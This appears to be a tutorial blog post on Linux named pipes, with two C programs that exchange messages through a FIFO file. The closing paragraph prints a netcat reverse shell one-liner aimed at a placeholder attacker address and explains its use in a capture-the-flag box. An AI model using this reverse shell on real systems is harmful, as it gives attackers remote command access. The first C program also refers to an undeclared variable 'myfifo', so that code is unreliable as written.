If you’re a semi-capable linux user, you’ve likely heard of pipes or seen the pipe char | used before to chain commands together. This works like a stream of communication between to processes and can allow them to work together. A common example of this would be piping output to grep
to retrieve data that meets a certain requirement:
A named pipe works similarly but instead of using the | operand, we use a file. mkfifo is often used for this and can be implemented into most programming languages such as C. Below is the source code for pipe1.c
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
// This would more commonly be placed in /tmp however for this example, I'll use the current directory
int fd;
char * fifo1 = "./fifo1";
// We set the permissions for the pipe, in this case it's 666 though this will depend on your use
mkfifo(fifo1, 0666);
char arr1[100], arr2[100];
while (1)
{
// Open pipe in write only mode
fd = open(fifo1, O_WRONLY);
// Take input from the user to place into the pipe
fgets(arr2, 100, stdin);
// Write user input to the pipe and close it
write(fd, arr2, strlen(arr2)+1);
close(fd);
// Open pipe in read only mode
fd = open(myfifo, O_RDONLY);
// Read contents of the pipe
read(fd, arr1, sizeof(arr1));
// Return contents to use
printf("Pipe2: %s\n", arr1);
close(fd);
}
return 0;
}
We will create a second binary for pipe2 so we can demonstrate communication over the pipe:
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
int fd;
// Create named pipe and set permissions
char * fifo2 = "./fifo1";
mkfifo(fifo2, 0666);
char str1[100], str2[100];
while (1)
{
// Open in read only and read it's content
fd = open(fifo2,O_RDONLY);
read(fd, str1, 100);
// Print the read string and close
printf("Pipe1: %s\n", str1);
close(fd);
// Reopen in read mode and take input from user to write back to the pipe
fd = open(fifo2,O_WRONLY);
fgets(str2, 80, stdin);
write(fd, str2, strlen(str2)+1);
close(fd);
}
return 0;
}
We can see the communication between the two pipes, pipe1 writes a message to pipe2 using the file we created. This can be used for much more complex operations where syncing between processes or even in hacking when trying to get a reverse shell. A common reverse shell that uses this is:
mkfifo /tmp/f;nc ATTACKER-IP PORT 0</tmp/f | /bin/sh -i 2>&1 | tee /tmp/f
The reason we’d use this is if the netcat binary on our target doesn’t have the execute (-e) feature, we can create a pipe that points to bash that allows us to pass commands over netcat and have them passed directly to bash. A recent example would be in the shibboleth box.